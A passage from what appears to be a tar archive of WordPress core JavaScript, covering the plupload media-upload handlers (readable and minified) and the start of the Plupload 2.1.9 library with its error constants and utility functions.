up.settings.filters.max_file_size, 10 ); if ( max > hundredmb && fileObj.size > hundredmb ) { wpFileError( fileObj, pluploadL10n.big_upload_failed.replace( '%1$s', '<a class="uploader-html" href="#">' ).replace( '%2$s', '</a>' ) ); } else { wpQueueError( pluploadL10n.io_error ); } break; case plupload.HTTP_ERROR: wpQueueError( pluploadL10n.http_error ); break; case plupload.INIT_ERROR: jQuery( '.media-upload-form' ).addClass( 'html-uploader' ); break; case plupload.SECURITY_ERROR: wpQueueError( pluploadL10n.security_error ); break; /* case plupload.UPLOAD_ERROR.UPLOAD_STOPPED: case plupload.UPLOAD_ERROR.FILE_CANCELLED: jQuery( '#media-item-' + fileObj.id ).remove(); break;*/ default: wpFileError( fileObj, pluploadL10n.default_error ); } } function uploadSizeError( up, file ) { var message, errorDiv; message = pluploadL10n.file_exceeds_size_limit.replace( '%s', file.name ); // Construct the error div. errorDiv = jQuery( '<div />' ) .attr( { 'id': 'media-item-' + file.id, 'class': 'media-item error' } ) .append( jQuery( '<p />' ) .text( message ) ); // Append the error. jQuery( '#media-items' ).append( errorDiv ); up.removeFile( file ); } function wpFileExtensionError( up, file, message ) { jQuery( '#media-items' ).append( '<div id="media-item-' + file.id + '" class="media-item error"><p>' + message + '</p></div>' ); up.removeFile( file ); } /** * Copies the attachment URL to the clipboard. * * @since 5.8.0 * * @param {MouseEvent} event A click event. * * @return {void} */ function copyAttachmentUploadURLClipboard() { var clipboard = new ClipboardJS( '.copy-attachment-url' ), successTimeout; clipboard.on( 'success', function( event ) { var triggerElement = jQuery( event.trigger ), successElement = jQuery( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) ); // Clear the selection and move focus back to the trigger. event.clearSelection(); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( pluploadL10n.file_url_copied ); } ); } jQuery( document ).ready( function( $ ) { copyAttachmentUploadURLClipboard(); var tryAgainCount = {}; var tryAgain; $( '.media-upload-form' ).on( 'click.uploader', function( e ) { var target = $( e.target ), tr, c; if ( target.is( 'input[type="radio"]' ) ) { // Remember the last used image size and alignment. tr = target.closest( 'tr' ); if ( tr.hasClass( 'align' ) ) setUserSetting( 'align', target.val() ); else if ( tr.hasClass( 'image-size' ) ) setUserSetting( 'imgsize', target.val() ); } else if ( target.is( 'button.button' ) ) { // Remember the last used image link url. c = e.target.className || ''; c = c.match( /url([^ '"]+)/ ); if ( c && c[1] ) { setUserSetting( 'urlbutton', c[1] ); target.siblings( '.urlfield' ).val( target.data( 'link-url' ) ); } } else if ( target.is( 'a.dismiss' ) ) { target.parents( '.media-item' ).fadeOut( 200, function() { $( this ).remove(); } ); } else if ( target.is( '.upload-flash-bypass a' ) || target.is( 'a.uploader-html' ) ) { // Switch uploader to html4. $( '#media-items, p.submit, span.big-file-warning' ).css( 'display', 'none' ); switchUploader( 0 ); e.preventDefault(); } else if ( target.is( '.upload-html-bypass a' ) ) { // Switch uploader to multi-file. $( '#media-items, p.submit, span.big-file-warning' ).css( 'display', '' ); switchUploader( 1 ); e.preventDefault(); } else if ( target.is( 'a.describe-toggle-on' ) ) { // Show. target.parent().addClass( 'open' ); target.siblings( '.slidetoggle' ).fadeIn( 250, function() { var S = $( window ).scrollTop(), H = $( window ).height(), top = $( this ).offset().top, h = $( this ).height(), b, B; if ( H && top && h ) { b = top + h; B = S + H; if ( b > B ) { if ( b - B < top - S ) window.scrollBy( 0, ( b - B ) + 10 ); else window.scrollBy( 0, top - S - 40 ); } } } ); e.preventDefault(); } else if ( target.is( 'a.describe-toggle-off' ) ) { // Hide. target.siblings( '.slidetoggle' ).fadeOut( 250, function() { target.parent().removeClass( 'open' ); } ); e.preventDefault(); } }); // Attempt to create image sub-sizes when an image was uploaded successfully // but the server responded with an HTTP 5xx error. tryAgain = function( up, error ) { var file = error.file; var times; var id; if ( ! error || ! error.responseHeaders ) { wpQueueError( pluploadL10n.http_error_image ); return; } id = error.responseHeaders.match( /x-wp-upload-attachment-id:\s*(\d+)/i ); if ( id && id[1] ) { id = id[1]; } else { wpQueueError( pluploadL10n.http_error_image ); return; } times = tryAgainCount[ file.id ]; if ( times && times > 4 ) { /* * The file may have been uploaded and attachment post created, * but post-processing and resizing failed... * Do a cleanup then tell the user to scale down the image and upload it again. */ $.ajax({ type: 'post', url: ajaxurl, dataType: 'json', data: { action: 'media-create-image-subsizes', _wpnonce: wpUploaderInit.multipart_params._wpnonce, attachment_id: id, _wp_upload_failed_cleanup: true, } }); if ( error.message && ( error.status < 500 || error.status >= 600 ) ) { wpQueueError( error.message ); } else { wpQueueError( pluploadL10n.http_error_image ); } return; } if ( ! times ) { tryAgainCount[ file.id ] = 1; } else { tryAgainCount[ file.id ] = ++times; } // Try to create the missing image sizes. $.ajax({ type: 'post', url: ajaxurl, dataType: 'json', data: { action: 'media-create-image-subsizes', _wpnonce: wpUploaderInit.multipart_params._wpnonce, attachment_id: id, _legacy_support: 'true', } }).done( function( response ) { var message; if ( response.success ) { uploadSuccess( file, response.data.id ); } else { if ( response.data && response.data.message ) { message = response.data.message; } wpQueueError( message || pluploadL10n.http_error_image ); } }).fail( function( jqXHR ) { // If another HTTP 5xx error, try try again... if ( jqXHR.status >= 500 && jqXHR.status < 600 ) { tryAgain( up, error ); return; } wpQueueError( pluploadL10n.http_error_image ); }); } // Init and set the uploader. uploader_init = function() { uploader = new plupload.Uploader( wpUploaderInit ); $( '#image_resize' ).on( 'change', function() { var arg = $( this ).prop( 'checked' ); setResize( arg ); if ( arg ) setUserSetting( 'upload_resize', '1' ); else deleteUserSetting( 'upload_resize' ); }); uploader.bind( 'Init', function( up ) { var uploaddiv = $( '#plupload-upload-ui' ); setResize( getUserSetting( 'upload_resize', false ) ); if ( up.features.dragdrop && ! $( document.body ).hasClass( 'mobile' ) ) { uploaddiv.addClass( 'drag-drop' ); $( '#drag-drop-area' ).on( 'dragover.wp-uploader', function() { // dragenter doesn't fire right :( uploaddiv.addClass( 'drag-over' ); }).on( 'dragleave.wp-uploader, drop.wp-uploader', function() { uploaddiv.removeClass( 'drag-over' ); }); } else { uploaddiv.removeClass( 'drag-drop' ); $( '#drag-drop-area' ).off( '.wp-uploader' ); } if ( up.runtime === 'html4' ) { $( '.upload-flash-bypass' ).hide(); } }); uploader.bind( 'postinit', function( up ) { up.refresh(); }); uploader.init(); uploader.bind( 'FilesAdded', function( up, files ) { $( '#media-upload-error' ).empty(); uploadStart(); plupload.each( files, function( file ) { if ( file.type === 'image/heic' && up.settings.heic_upload_error ) { // Show error but do not block uploading. wpQueueError( pluploadL10n.unsupported_image ); } else if ( file.type === 'image/webp' && up.settings.webp_upload_error ) { // Disallow uploading of WebP images if the server cannot edit them. wpQueueError( pluploadL10n.noneditable_image ); up.removeFile( file ); return; } else if ( file.type === 'image/avif' && up.settings.avif_upload_error ) { // Disallow uploading of AVIF images if the server cannot edit them. wpQueueError( pluploadL10n.noneditable_image ); up.removeFile( file ); return; } fileQueued( file ); }); up.refresh(); up.start(); }); uploader.bind( 'UploadFile', function( up, file ) { fileUploading( up, file ); }); uploader.bind( 'UploadProgress', function( up, file ) { uploadProgress( up, file ); }); uploader.bind( 'Error', function( up, error ) { var isImage = error.file && error.file.type && error.file.type.indexOf( 'image/' ) === 0; var status = error && error.status; // If the file is an image and the error is HTTP 5xx try to create sub-sizes again. if ( isImage && status >= 500 && status < 600 ) { tryAgain( up, error ); return; } uploadError( error.file, error.code, error.message, up ); up.refresh(); }); uploader.bind( 'FileUploaded', function( up, file, response ) { uploadSuccess( file, response.response ); }); uploader.bind( 'UploadComplete', function() { uploadComplete(); }); }; if ( typeof( wpUploaderInit ) == 'object' ) { uploader_init(); } }); plupload/handlers.min.js 0000644 00000027254 15111757753 0011332 0 ustar 00 var uploader,uploader_init,topWin=window.dialogArguments||opener||parent||top;function fileQueued(e){jQuery(".media-blank").remove();var a=jQuery("#media-items").children(),r=post_id||0;1==a.length&&a.removeClass("open").find(".slidetoggle").slideUp(200),jQuery('<div class="media-item">').attr("id","media-item-"+e.id).addClass("child-of-"+r).append(jQuery('<div class="filename original">').text(" "+e.name),'<div class="progress"><div class="percent">0%</div><div class="bar"></div></div>').appendTo(jQuery("#media-items")),jQuery("#insert-gallery").prop("disabled",!0)}function uploadStart(){try{void 0!==topWin.tb_remove&&topWin.jQuery("#TB_overlay").unbind("click",topWin.tb_remove)}catch(e){}return!0}function uploadProgress(e,a){var r=jQuery("#media-item-"+a.id);jQuery(".bar",r).width(200*a.loaded/a.size),jQuery(".percent",r).html(a.percent+"%")}function fileUploading(e,a){var r=104857600;r<parseInt(e.settings.max_file_size,10)&&a.size>r&&setTimeout(function(){a.status<3&&0===a.loaded&&(wpFileError(a,pluploadL10n.big_upload_failed.replace("%1$s",'<a class="uploader-html" href="#">').replace("%2$s","</a>")),e.stop(),e.removeFile(a),e.start())},1e4)}function updateMediaForm(){var e=jQuery("#media-items").children();1==e.length?(e.addClass("open").find(".slidetoggle").show(),jQuery(".insert-gallery").hide()):1<e.length&&(e.removeClass("open"),jQuery(".insert-gallery").show()),0<e.not(".media-blank").length?jQuery(".savebutton").show():jQuery(".savebutton").hide()}function uploadSuccess(e,a){var r=jQuery("#media-item-"+e.id);"string"==typeof a&&(a=a.replace(/^<pre>(\d+)<\/pre>$/,"$1"),/media-upload-error|error-div/.test(a))?r.html(a):(r.find(".percent").html(pluploadL10n.crunching),prepareMediaItem(e,a),updateMediaForm(),post_id&&r.hasClass("child-of-"+post_id)&&jQuery("#attachments-count").text(+jQuery("#attachments-count").text()+1))}function setResize(e){e?window.resize_width&&window.resize_height?uploader.settings.resize={enabled:!0,width:window.resize_width,height:window.resize_height,quality:100}:uploader.settings.multipart_params.image_resize=!0:delete uploader.settings.multipart_params.image_resize}function prepareMediaItem(e,a){var r="undefined"==typeof shortform?1:2,i=jQuery("#media-item-"+e.id);2==r&&2<shortform&&(r=shortform);try{void 0!==topWin.tb_remove&&topWin.jQuery("#TB_overlay").click(topWin.tb_remove)}catch(e){}isNaN(a)||!a?(i.append(a),prepareMediaItemInit(e)):i.load("async-upload.php",{attachment_id:a,fetch:r},function(){prepareMediaItemInit(e),updateMediaForm()})}function prepareMediaItemInit(r){var e=jQuery("#media-item-"+r.id);jQuery(".thumbnail",e).clone().attr("class","pinkynail toggle").prependTo(e),jQuery(".filename.original",e).replaceWith(jQuery(".filename.new",e)),jQuery("a.delete",e).on("click",function(){return jQuery.ajax({url:ajaxurl,type:"post",success:deleteSuccess,error:deleteError,id:r.id,data:{id:this.id.replace(/[^0-9]/g,""),action:"trash-post",_ajax_nonce:this.href.replace(/^.*wpnonce=/,"")}}),!1}),jQuery("a.undo",e).on("click",function(){return jQuery.ajax({url:ajaxurl,type:"post",id:r.id,data:{id:this.id.replace(/[^0-9]/g,""),action:"untrash-post",_ajax_nonce:this.href.replace(/^.*wpnonce=/,"")},success:function(){var e,a=jQuery("#media-item-"+r.id);(e=jQuery("#type-of-"+r.id).val())&&jQuery("#"+e+"-counter").text(+jQuery("#"+e+"-counter").text()+1),post_id&&a.hasClass("child-of-"+post_id)&&jQuery("#attachments-count").text(+jQuery("#attachments-count").text()+1),jQuery(".filename .trashnotice",a).remove(),jQuery(".filename .title",a).css("font-weight","normal"),jQuery("a.undo",a).addClass("hidden"),jQuery(".menu_order_input",a).show(),a.css({backgroundColor:"#ceb"}).animate({backgroundColor:"#fff"},{queue:!1,duration:500,complete:function(){jQuery(this).css({backgroundColor:""})}}).removeClass("undo")}}),!1}),jQuery("#media-item-"+r.id+".startopen").removeClass("startopen").addClass("open").find("slidetoggle").fadeIn()}function wpQueueError(e){jQuery("#media-upload-error").show().html('<div class="notice notice-error"><p>'+e+"</p></div>")}function wpFileError(e,a){itemAjaxError(e.id,a)}function itemAjaxError(e,a){var r=jQuery("#media-item-"+e),i=r.find(".filename").text();r.data("last-err")!=e&&r.html('<div class="error-div"><a class="dismiss" href="#">'+pluploadL10n.dismiss+"</a><strong>"+pluploadL10n.error_uploading.replace("%s",jQuery.trim(i))+"</strong> "+a+"</div>").data("last-err",e)}function deleteSuccess(e){var a;return"-1"==e?itemAjaxError(this.id,"You do not have permission. Has your session expired?"):"0"==e?itemAjaxError(this.id,"Could not be deleted. Has it been deleted already?"):(e=this.id,a=jQuery("#media-item-"+e),(e=jQuery("#type-of-"+e).val())&&jQuery("#"+e+"-counter").text(jQuery("#"+e+"-counter").text()-1),post_id&&a.hasClass("child-of-"+post_id)&&jQuery("#attachments-count").text(jQuery("#attachments-count").text()-1),1==jQuery("form.type-form #media-items").children().length&&0<jQuery(".hidden","#media-items").length&&(jQuery(".toggle").toggle(),jQuery(".slidetoggle").slideUp(200).siblings().removeClass("hidden")),jQuery(".toggle",a).toggle(),jQuery(".slidetoggle",a).slideUp(200).siblings().removeClass("hidden"),a.css({backgroundColor:"#faa"}).animate({backgroundColor:"#f4f4f4"},{queue:!1,duration:500}).addClass("undo"),jQuery(".filename:empty",a).remove(),jQuery(".filename .title",a).css("font-weight","bold"),jQuery(".filename",a).append('<span class="trashnotice"> '+pluploadL10n.deleted+" </span>").siblings("a.toggle").hide(),jQuery(".filename",a).append(jQuery("a.undo",a).removeClass("hidden")),void jQuery(".menu_order_input",a).hide())}function deleteError(){}function uploadComplete(){jQuery("#insert-gallery").prop("disabled",!1)}function switchUploader(e){e?(deleteUserSetting("uploader"),jQuery(".media-upload-form").removeClass("html-uploader"),"object"==typeof uploader&&uploader.refresh()):(setUserSetting("uploader","1"),jQuery(".media-upload-form").addClass("html-uploader"))}function uploadError(e,a,r,i){var t=104857600;switch(a){case plupload.FAILED:wpFileError(e,pluploadL10n.upload_failed);break;case plupload.FILE_EXTENSION_ERROR:wpFileExtensionError(i,e,pluploadL10n.invalid_filetype);break;case plupload.FILE_SIZE_ERROR:uploadSizeError(i,e);break;case plupload.IMAGE_FORMAT_ERROR:wpFileError(e,pluploadL10n.not_an_image);break;case plupload.IMAGE_MEMORY_ERROR:wpFileError(e,pluploadL10n.image_memory_exceeded);break;case plupload.IMAGE_DIMENSIONS_ERROR:wpFileError(e,pluploadL10n.image_dimensions_exceeded);break;case plupload.GENERIC_ERROR:wpQueueError(pluploadL10n.upload_failed);break;case plupload.IO_ERROR:t<parseInt(i.settings.filters.max_file_size,10)&&e.size>t?wpFileError(e,pluploadL10n.big_upload_failed.replace("%1$s",'<a class="uploader-html" href="#">').replace("%2$s","</a>")):wpQueueError(pluploadL10n.io_error);break;case plupload.HTTP_ERROR:wpQueueError(pluploadL10n.http_error);break;case plupload.INIT_ERROR:jQuery(".media-upload-form").addClass("html-uploader");break;case plupload.SECURITY_ERROR:wpQueueError(pluploadL10n.security_error);break;default:wpFileError(e,pluploadL10n.default_error)}}function uploadSizeError(e,a){var r=pluploadL10n.file_exceeds_size_limit.replace("%s",a.name),r=jQuery("<div />").attr({id:"media-item-"+a.id,class:"media-item error"}).append(jQuery("<p />").text(r));jQuery("#media-items").append(r),e.removeFile(a)}function wpFileExtensionError(e,a,r){jQuery("#media-items").append('<div id="media-item-'+a.id+'" class="media-item error"><p>'+r+"</p></div>"),e.removeFile(a)}function copyAttachmentUploadURLClipboard(){var i;new ClipboardJS(".copy-attachment-url").on("success",function(e){var a=jQuery(e.trigger),r=jQuery(".success",a.closest(".copy-to-clipboard-container"));e.clearSelection(),clearTimeout(i),r.removeClass("hidden"),i=setTimeout(function(){r.addClass("hidden")},3e3),wp.a11y.speak(pluploadL10n.file_url_copied)})}jQuery(document).ready(function(o){copyAttachmentUploadURLClipboard();var d,l={};o(".media-upload-form").on("click.uploader",function(e){var a,r=o(e.target);r.is('input[type="radio"]')?(a=r.closest("tr")).hasClass("align")?setUserSetting("align",r.val()):a.hasClass("image-size")&&setUserSetting("imgsize",r.val()):r.is("button.button")?(a=(a=e.target.className||"").match(/url([^ '"]+)/))&&a[1]&&(setUserSetting("urlbutton",a[1]),r.siblings(".urlfield").val(r.data("link-url"))):r.is("a.dismiss")?r.parents(".media-item").fadeOut(200,function(){o(this).remove()}):r.is(".upload-flash-bypass a")||r.is("a.uploader-html")?(o("#media-items, p.submit, span.big-file-warning").css("display","none"),switchUploader(0),e.preventDefault()):r.is(".upload-html-bypass a")?(o("#media-items, p.submit, span.big-file-warning").css("display",""),switchUploader(1),e.preventDefault()):r.is("a.describe-toggle-on")?(r.parent().addClass("open"),r.siblings(".slidetoggle").fadeIn(250,function(){var e=o(window).scrollTop(),a=o(window).height(),r=o(this).offset().top,i=o(this).height();a&&r&&i&&(a=e+a)<(i=r+i)&&(i-a<r-e?window.scrollBy(0,i-a+10):window.scrollBy(0,r-e-40))}),e.preventDefault()):r.is("a.describe-toggle-off")&&(r.siblings(".slidetoggle").fadeOut(250,function(){r.parent().removeClass("open")}),e.preventDefault())}),d=function(a,r){var e,i,t=r.file;r&&r.responseHeaders&&(i=r.responseHeaders.match(/x-wp-upload-attachment-id:\s*(\d+)/i))&&i[1]?(i=i[1],(e=l[t.id])&&4<e?(o.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:wpUploaderInit.multipart_params._wpnonce,attachment_id:i,_wp_upload_failed_cleanup:!0}}),r.message&&(r.status<500||600<=r.status)?wpQueueError(r.message):wpQueueError(pluploadL10n.http_error_image)):(l[t.id]=e?++e:1,o.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:wpUploaderInit.multipart_params._wpnonce,attachment_id:i,_legacy_support:"true"}}).done(function(e){var a;e.success?uploadSuccess(t,e.data.id):wpQueueError((a=e.data&&e.data.message?e.data.message:a)||pluploadL10n.http_error_image)}).fail(function(e){500<=e.status&&e.status<600?d(a,r):wpQueueError(pluploadL10n.http_error_image)}))):wpQueueError(pluploadL10n.http_error_image)},uploader_init=function(){uploader=new plupload.Uploader(wpUploaderInit),o("#image_resize").on("change",function(){var e=o(this).prop("checked");setResize(e),e?setUserSetting("upload_resize","1"):deleteUserSetting("upload_resize")}),uploader.bind("Init",function(e){var a=o("#plupload-upload-ui");setResize(getUserSetting("upload_resize",!1)),e.features.dragdrop&&!o(document.body).hasClass("mobile")?(a.addClass("drag-drop"),o("#drag-drop-area").on("dragover.wp-uploader",function(){a.addClass("drag-over")}).on("dragleave.wp-uploader, drop.wp-uploader",function(){a.removeClass("drag-over")})):(a.removeClass("drag-drop"),o("#drag-drop-area").off(".wp-uploader")),"html4"===e.runtime&&o(".upload-flash-bypass").hide()}),uploader.bind("postinit",function(e){e.refresh()}),uploader.init(),uploader.bind("FilesAdded",function(a,e){o("#media-upload-error").empty(),uploadStart(),plupload.each(e,function(e){if("image/heic"===e.type&&a.settings.heic_upload_error)wpQueueError(pluploadL10n.unsupported_image);else{if("image/webp"===e.type&&a.settings.webp_upload_error)return wpQueueError(pluploadL10n.noneditable_image),void a.removeFile(e);if("image/avif"===e.type&&a.settings.avif_upload_error)return wpQueueError(pluploadL10n.noneditable_image),void a.removeFile(e)}fileQueued(e)}),a.refresh(),a.start()}),uploader.bind("UploadFile",function(e,a){fileUploading(e,a)}),uploader.bind("UploadProgress",function(e,a){uploadProgress(e,a)}),uploader.bind("Error",function(e,a){var r=a.file&&a.file.type&&0===a.file.type.indexOf("image/"),i=a&&a.status;r&&500<=i&&i<600?d(e,a):(uploadError(a.file,a.code,a.message,e),e.refresh())}),uploader.bind("FileUploaded",function(e,a,r){uploadSuccess(a,r.response)}),uploader.bind("UploadComplete",function(){uploadComplete()})},"object"==typeof wpUploaderInit&&uploader_init()}); plupload/plupload.js 0000644 00000165632 15111757753 0010573 0 ustar 00 /** * Plupload - multi-runtime File Uploader * v2.1.9 * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing * * Date: 2016-05-15 */ /** * Plupload.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** * Modified for WordPress, Silverlight and Flash runtimes support was removed. * See https://core.trac.wordpress.org/ticket/41755. */ /*global mOxie:true */ ;(function(window, o, undef) { var delay = window.setTimeout , fileFilters = {} ; // convert plupload features to caps acceptable by mOxie function normalizeCaps(settings) { var features = settings.required_features, caps = {}; function resolve(feature, value, strict) { // Feature notation is deprecated, use caps (this thing here is required for backward compatibility) var map = { chunks: 'slice_blob', jpgresize: 'send_binary_string', pngresize: 'send_binary_string', progress: 'report_upload_progress', multi_selection: 'select_multiple', dragdrop: 'drag_and_drop', drop_element: 'drag_and_drop', headers: 'send_custom_headers', urlstream_upload: 'send_binary_string', canSendBinary: 'send_binary', triggerDialog: 'summon_file_dialog' }; if (map[feature]) { caps[map[feature]] = value; } else if (!strict) { caps[feature] = value; } } if (typeof(features) === 'string') { plupload.each(features.split(/\s*,\s*/), function(feature) { resolve(feature, true); }); } else if (typeof(features) === 'object') { plupload.each(features, function(value, feature) { resolve(feature, value); }); } else if (features === true) { // check settings for required features if (settings.chunk_size > 0) { caps.slice_blob = true; } if (settings.resize.enabled || !settings.multipart) { caps.send_binary_string = true; } plupload.each(settings, function(value, feature) { resolve(feature, !!value, true); // strict check }); } // WP: only html runtimes. settings.runtimes = 'html5,html4'; return caps; } /** * @module plupload * @static */ var plupload = { /** * Plupload version will be replaced on build. * * @property VERSION * @for Plupload * @static * @final */ VERSION : '2.1.9', /** * The state of the queue before it has started and after it has finished * * @property STOPPED * @static * @final */ STOPPED : 1, /** * Upload process is running * * @property STARTED * @static * @final */ STARTED : 2, /** * File is queued for upload * * @property QUEUED * @static * @final */ QUEUED : 1, /** * File is being uploaded * * @property UPLOADING * @static * @final */ UPLOADING : 2, /** * File has failed to be uploaded * * @property FAILED * @static * @final */ FAILED : 4, /** * File has been uploaded successfully * * @property DONE * @static * @final */ DONE : 5, // Error constants used by the Error event /** * Generic error for example if an exception is thrown inside Silverlight. * * @property GENERIC_ERROR * @static * @final */ GENERIC_ERROR : -100, /** * HTTP transport error. For example if the server produces a HTTP status other than 200. * * @property HTTP_ERROR * @static * @final */ HTTP_ERROR : -200, /** * Generic I/O error. For example if it wasn't possible to open the file stream on local machine. * * @property IO_ERROR * @static * @final */ IO_ERROR : -300, /** * @property SECURITY_ERROR * @static * @final */ SECURITY_ERROR : -400, /** * Initialization error. Will be triggered if no runtime was initialized. * * @property INIT_ERROR * @static * @final */ INIT_ERROR : -500, /** * File size error. If the user selects a file that is too large it will be blocked and an error of this type will be triggered. * * @property FILE_SIZE_ERROR * @static * @final */ FILE_SIZE_ERROR : -600, /** * File extension error. If the user selects a file that isn't valid according to the filters setting. * * @property FILE_EXTENSION_ERROR * @static * @final */ FILE_EXTENSION_ERROR : -601, /** * Duplicate file error. If prevent_duplicates is set to true and user selects the same file again. * * @property FILE_DUPLICATE_ERROR * @static * @final */ FILE_DUPLICATE_ERROR : -602, /** * Runtime will try to detect if image is proper one. Otherwise will throw this error. * * @property IMAGE_FORMAT_ERROR * @static * @final */ IMAGE_FORMAT_ERROR : -700, /** * While working on files runtime may run out of memory and will throw this error. * * @since 2.1.2 * @property MEMORY_ERROR * @static * @final */ MEMORY_ERROR : -701, /** * Each runtime has an upper limit on a dimension of the image it can handle. If bigger, will throw this error. * * @property IMAGE_DIMENSIONS_ERROR * @static * @final */ IMAGE_DIMENSIONS_ERROR : -702, /** * Mime type lookup table. * * @property mimeTypes * @type Object * @final */ mimeTypes : o.mimes, /** * In some cases sniffing is the only way around :( */ ua: o.ua, /** * Gets the true type of the built-in object (better version of typeof). * @credits Angus Croll (http://javascriptweblog.wordpress.com/) * * @method typeOf * @static * @param {Object} o Object to check. * @return {String} Object [[Class]] */ typeOf: o.typeOf, /** * Extends the specified object with another object. * * @method extend * @static * @param {Object} target Object to extend. * @param {Object..} obj Multiple objects to extend with. * @return {Object} Same as target, the extended object. */ extend : o.extend, /** * Generates an unique ID. This is 99.99% unique since it takes the current time and 5 random numbers. * The only way a user would be able to get the same ID is if the two persons at the same exact millisecond manages * to get 5 the same random numbers between 0-65535 it also uses a counter so each call will be guaranteed to be page unique. * It's more probable for the earth to be hit with an asteriod. You can also if you want to be 100% sure set the plupload.guidPrefix property * to an user unique key. * * @method guid * @static * @return {String} Virtually unique id. */ guid : o.guid, /** * Get array of DOM Elements by their ids. * * @method get * @param {String} id Identifier of the DOM Element * @return {Array} */ getAll : function get(ids) { var els = [], el; if (plupload.typeOf(ids) !== 'array') { ids = [ids]; } var i = ids.length; while (i--) { el = plupload.get(ids[i]); if (el) { els.push(el); } } return els.length ? els : null; }, /** Get DOM element by id @method get @param {String} id Identifier of the DOM Element @return {Node} */ get: o.get, /** * Executes the callback function for each item in array/object. If you return false in the * callback it will break the loop. * * @method each * @static * @param {Object} obj Object to iterate. * @param {function} callback Callback function to execute for each item. */ each : o.each, /** * Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields. * * @method getPos * @static * @param {Element} node HTML element or element id to get x, y position from. * @param {Element} root Optional root element to stop calculations at. * @return {object} Absolute position of the specified element object with x, y fields. */ getPos : o.getPos, /** * Returns the size of the specified node in pixels. * * @method getSize * @static * @param {Node} node Node to get the size of. * @return {Object} Object with a w and h property. */ getSize : o.getSize, /** * Encodes the specified string. * * @method xmlEncode * @static * @param {String} s String to encode. * @return {String} Encoded string. */ xmlEncode : function(str) { var xmlEncodeChars = {'<' : 'lt', '>' : 'gt', '&' : 'amp', '"' : 'quot', '\'' : '#39'}, xmlEncodeRegExp = /[<>&\"\']/g; return str ? ('' + str).replace(xmlEncodeRegExp, function(chr) { return xmlEncodeChars[chr] ? '&' + xmlEncodeChars[chr] + ';' : chr; }) : str; }, /** * Forces anything into an array. * * @method toArray * @static * @param {Object} obj Object with length field. * @return {Array} Array object containing all items. */ toArray : o.toArray, /** * Find an element in array and return its index if present, otherwise return -1. * * @method inArray * @static * @param {mixed} needle Element to find * @param {Array} array * @return {Int} Index of the element, or -1 if not found */ inArray : o.inArray, /** * Extends the language pack object with new items. * * @method addI18n * @static * @param {Object} pack Language pack items to add. * @return {Object} Extended language pack object. */ addI18n : o.addI18n, /** * Translates the specified string by checking for the english string in the language pack lookup. * * @method translate * @static * @param {String} str String to look for. * @return {String} Translated string or the input string if it wasn't found. */ translate : o.translate, /** * Checks if object is empty. * * @method isEmptyObj * @static * @param {Object} obj Object to check. * @return {Boolean} */ isEmptyObj : o.isEmptyObj, /** * Checks if specified DOM element has specified class. * * @method hasClass * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Class name */ hasClass : o.hasClass, /** * Adds specified className to specified DOM element. * * @method addClass * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Class name */ addClass : o.addClass, /** * Removes specified className from specified DOM element. * * @method removeClass * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Class name */ removeClass : o.removeClass, /** * Returns a given computed style of a DOM element. * * @method getStyle * @static * @param {Object} obj DOM element like object. * @param {String} name Style you want to get from the DOM element */ getStyle : o.getStyle, /** * Adds an event handler to the specified object and store reference to the handler * in objects internal Plupload registry (@see removeEvent). * * @method addEvent * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Name to add event listener to. * @param {Function} callback Function to call when event occurs. * @param {String} (optional) key that might be used to add specifity to the event record. */ addEvent : o.addEvent, /** * Remove event handler from the specified object. If third argument (callback) * is not specified remove all events with the specified name. * * @method removeEvent * @static * @param {Object} obj DOM element to remove event listener(s) from. * @param {String} name Name of event listener to remove. * @param {Function|String} (optional) might be a callback or unique key to match. */ removeEvent: o.removeEvent, /** * Remove all kind of events from the specified object * * @method removeAllEvents * @static * @param {Object} obj DOM element to remove event listeners from. * @param {String} (optional) unique key to match, when removing events. */ removeAllEvents: o.removeAllEvents, /** * Cleans the specified name from national characters (diacritics). The result will be a name with only a-z, 0-9 and _. * * @method cleanName * @static * @param {String} s String to clean up. * @return {String} Cleaned string. */ cleanName : function(name) { var i, lookup; // Replace diacritics lookup = [ /[\300-\306]/g, 'A', /[\340-\346]/g, 'a', /\307/g, 'C', /\347/g, 'c', /[\310-\313]/g, 'E', /[\350-\353]/g, 'e', /[\314-\317]/g, 'I', /[\354-\357]/g, 'i', /\321/g, 'N', /\361/g, 'n', /[\322-\330]/g, 'O', /[\362-\370]/g, 'o', /[\331-\334]/g, 'U', /[\371-\374]/g, 'u' ]; for (i = 0; i < lookup.length; i += 2) { name = name.replace(lookup[i], lookup[i + 1]); } // Replace whitespace name = name.replace(/\s+/g, '_'); // Remove anything else name = name.replace(/[^a-z0-9_\-\.]+/gi, ''); return name; }, /** * Builds a full url out of a base URL and an object with items to append as query string items. * * @method buildUrl * @static * @param {String} url Base URL to append query string items to. * @param {Object} items Name/value object to serialize as a querystring. * @return {String} String with url + serialized query string items. */ buildUrl : function(url, items) { var query = ''; plupload.each(items, function(value, name) { query += (query ? '&' : '') + encodeURIComponent(name) + '=' + encodeURIComponent(value); }); if (query) { url += (url.indexOf('?') > 0 ? '&' : '?') + query; } return url; }, /** * Formats the specified number as a size string for example 1024 becomes 1 KB. * * @method formatSize * @static * @param {Number} size Size to format as string. * @return {String} Formatted size string. */ formatSize : function(size) { if (size === undef || /\D/.test(size)) { return plupload.translate('N/A'); } function round(num, precision) { return Math.round(num * Math.pow(10, precision)) / Math.pow(10, precision); } var boundary = Math.pow(1024, 4); // TB if (size > boundary) { return round(size / boundary, 1) + " " + plupload.translate('tb'); } // GB if (size > (boundary/=1024)) { return round(size / boundary, 1) + " " + plupload.translate('gb'); } // MB if (size > (boundary/=1024)) { return round(size / boundary, 1) + " " + plupload.translate('mb'); } // KB if (size > 1024) { return Math.round(size / 1024) + " " + 